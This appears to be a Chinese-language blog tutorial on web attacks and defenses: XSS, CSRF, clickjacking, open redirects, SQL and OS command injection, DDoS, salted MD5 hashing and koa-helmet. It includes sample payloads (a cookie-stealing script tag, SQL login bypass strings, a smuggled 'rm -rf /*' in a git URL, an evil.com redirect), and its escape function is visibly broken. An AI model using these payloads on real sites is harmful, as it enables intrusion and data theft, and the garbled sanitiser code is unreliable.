Cross Site Scripting
跨站脚本攻击:实际执行另一个网站的脚本
XSS(Cross Site Scripting),跨站脚本攻击,因为缩写和CSS重叠,所以只能叫XSS。跨站脚本攻击是指通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非本站点的HTML标签和JS进行的一种攻击。
原理 :恶意攻击者往Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
(我的网站执行了其他网站的html或者js)
url中可以发一对<\script>执行一段代码来对我们进行攻击
url中发送的js代码可以放一个网址 让我们访问其他的网站(黑客的网站) 他可以通过此来窃取我们的Cookie,我们的Cookie已经被发送到了黑客的服务器上
跨站脚本攻击有可能造成以下影响:
1.输入虚假输入表单骗取用户个人信息
2.利用脚本窃取顾客的Cookie值,被害者不知道的情况下,帮助攻击者发送恶意请求
3.显示伪造的文章或图片
http://localhost:3000?from=china
//alert尝试
http://localhost:3000?from=<script>alert(3)</script>
//获取cookie
http://localhost:3000?from=<script src="http://localhost:4000/hack.js"></script>
//伪造cookie入侵chrome
document。cookie="dshduashdaslkjdhaofoashkldhoiasguoidsajdlashoidhoashdoiuas"//cookie值
//评论
<script>alert(1)</script>
//跨脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
//只允许加载本站资源
Content-Security-Policy :default-src "self"
//只允许加载HTTPS协议图片
Content-Security-Policy:img-src https://*
//不允许加载任何来源框架
Content-Security-Policy:child-src ‘none’
<% code %>用于执行其中的js代码
<%= code %>会对code进行html转义
<%- code %>将不会进行转义
用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义。
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
const xss = require('xss')
let html = xss('XSS Demo
')
// -> XSS Demo
<script>alert("xss");</script>
console.log(html)
CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。($$$请求的伪造) 不运行敌人的脚本 运行自己的脚本但是敌人是有目的的 可以随意伪造我的请求和我的脚本
我们来看一个例子: 当我们登入转账页面后,突然眼前一亮惊现"XXX隐私照片,不看后悔一辈子"的链接,耐不住内心躁动,立马点击了该危险的网站(页面代码如下图所示),但当这页面一加载,便会执行submitForm这个方法来提交转账请求,从而将10块转给黑客。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。
但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生
目前比较完善的解决方案是加入Anti-CSRF-Token。即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
这种方法相比Referer检查要安全很多token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。
用户在登陆 A 网站的系统后,被攻击者诱惑打开第三方网站,而第三方网站通过 iframe 引入了 A 网站的页面内容,用户在第三方网站中点击某个按钮(被装饰的按钮),实际上是点击了 A 网站的按钮。
接下来我们举个例子:我在优酷发布了很多视频,想让更多的人关注它,就可以通过点击劫持来实现
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 270px;
left: 1150px;
z-index: 1;
width: 90px;
height:40px;
}
</style>
......
<button>点击脱衣</button>
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe>
从上图可知,攻击者通过图片作为页面背景,隐藏了用户操作的真实界面,当你按耐不住好奇点击按钮以后,真正的点击的其实是隐藏的那个页面的订阅按钮,然后就会在你不知情的情况下订阅了。
X-FRAME-OPTIONS是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。
该响应头有三个值可选,分别是
ctx.set('X-FRAME-OPTIONS','DENY')
对于某些远古浏览器来说,并不能支持上面的这种方式,那我们只有通过 JS 的方式来防御点击劫持了。
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
//self是对当前窗口自身的引用window属性是等价的
//top返回顶层窗口,即浏览器窗口
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代码的作用就是当通过 iframe 的方式加载页面时,攻击者的网页直接不显示所有内容了。
定义:借助未验证的URL跳转,将应用程序引导到不安全的第三方区域,从而导致的安全问题。
黑客利用URL跳转漏洞来诱导安全意识低的用户点击,导致用户信息泄露或者资金的流失。其原理是黑客构建恶意链接(链接需要进行伪装,尽可能迷惑),发在QQ群或者是浏览量多的贴吧/论坛中。
安全意识低的用户点击后,经过服务器或者浏览器解析后,跳到恶意的网站中。
恶意链接需要进行伪装,经常的做法是熟悉的链接后面加上一个恶意的网址,这样才迷惑用户。
诸如伪装成像如下的网址,你是否能够识别出来是恶意网址呢?
http://gate.baidu.com/index?act=go&url=http://t.cn/RVTatrd
http://qt.qq.com/safecheck.html?flag=1&url=http://t.cn/RVTatrd
http://tieba.baidu.com/f/user/passport?jumpUrl=http://t.cn/RVTatrd
$url=$_GET['jumpto'];
header("Location: $url");
?>
http://www.wooyun.org/login.php?jumpto=http://www.evil.com
这里用户会认为www.wooyun.org都是可信的,但是点击上述链接将导致用户最终访问www.evil.com这个恶意网址。
如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接
我们保证所有生成的链接都是来自于我们可信域的,通过在生成的链接里加入用户不可控的Token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用,但是如果功能本身要求比较开放,可能导致有一定的限制。
SQL注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
//填入特殊密码
1'or'1'='1
//拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
后端的 SQL 语句可能是如下这样的:
let querySQL = `
SELECT *
FROM user
WHERE username='${username}'
AND psw='${password}'
`;
// 接下来就是执行 sql 语句...
这是我们经常见到的登录页面,但如果有一个恶意攻击者输入的用户名是 admin’ --,密码随意输入,就可以直接登入系统了。why! ----这就是SQL注入
我们之前预想的SQL 语句是:SELECT * FROM user WHERE username='admin' AND psw='password'
但是恶意攻击者用奇怪用户名将你的 SQL 语句变成了如下形式:SELECT * FROM user WHERE username='admin' --' AND psw='xxxx'
在 SQL 中,’ --是闭合和注释的意思,-- 是注释后面的内容的意思,所以查询语句就变成了:SELECT * FROM user WHERE username='admin'
所谓的万能密码,本质上就是SQL注入的一种利用方式。
一次SQL注入的过程包括以下几个过程:
我们会发现SQL注入流程中与正常请求服务器类似,只是黑客控制了数据,构造了SQL查询,而正常的请求不会SQL查询这一步,SQL注入的本质:数据和代码未分离,即数据当做了代码来执行。
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。
命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过命令注入攻击可执行操作系统上安装着的各种程序。
黑客构造命令提交给web应用程序,web应用程序提取黑客构造的命令,拼接到被执行的命令中,因黑客注入的命令打破了原有命令结构,导致web应用执行了额外的命令,最后web应用程序将执行的结果输出到响应页面中。
我们通过一个例子来说明其原理,假如需要实现一个需求:用户提交一些内容到服务器,然后在服务器执行一些系统命令去返回一个结果给用户
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);
如果 params.repo 传入的是 https://github.com/admin/admin.github.io.git 确实能从指定的 git repo 上下载到想要的代码。
但是如果 params.repo 传入的是 https://github.com/xx/xx.git && rm -rf /* && 恰好你的服务是用 root 权限起的就糟糕了。
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
distributed derial of service
DDOS不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的方法还在不断发明出来,网站运行的各个环节,都可以是一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。(分布式访问拒绝攻击)
其中,比较 常见的一种攻击是cc攻击。他就是简单粗暴地送来大量的正常的请求,超出服务器的最大承受量,导致宕机,我遭遇的就是cc攻击,最多的时候全世界大概20多个ip地址轮流发出请求,每个地址的请求量会在每秒200-300次。
明文可以换为密文 密文无法推算为明文
表单提交后 数据库给服务器数据 两者进行对比如果成功就返回登陆成功(数据库中的密码不加密时)
其他都一样,在服务器的时候再换算一次md5 如果换算的结果和后端传过来的结果一致,就返回登录成功
所有的摘要都是哈希算法
明文过于简单 会使用彩虹表破解
解决办法,想办法让密文变得复杂
1.加盐:
const encryptPassword = (salt,password)=>md5(salt+’sdsdsds‘+password)。//提高密码复杂度
console.log(' encryptPassword', encryptPassword('wew','111111'))//wew就是salt
时代趋势
特点:
什么是HTTPS
密码学(对称和非对称)
SSH公钥登录原理:
密码口令登录
通过密码进行登录,主要流程为:1.客户端连接上服务器以后,服务器把自己的公钥传给客户端。
2.客户端输入服务器密码通过公钥加密之后传给服务器
3.服务器根据私钥解密登录密码,如果正确那么就让客户端登录
公钥登录:
公钥登录是为了解决每次登录服务器都要填入密码的问题,流行使用RSA加密方法,主要流程包括
SSL证书分类:
//npm i koa-helmit -s
https://www.npmjs.com/package/koa-helmet
const koa=require("koa");
const helmet = require("koa-helmet");
const app = new Koa();
app.use(helmet());
app.use((ctx)=>{
ctx.body="Hello World"
});
app.listen(4000);
希望给您带来些许收获,如果写的不周到的地方,请批评指正。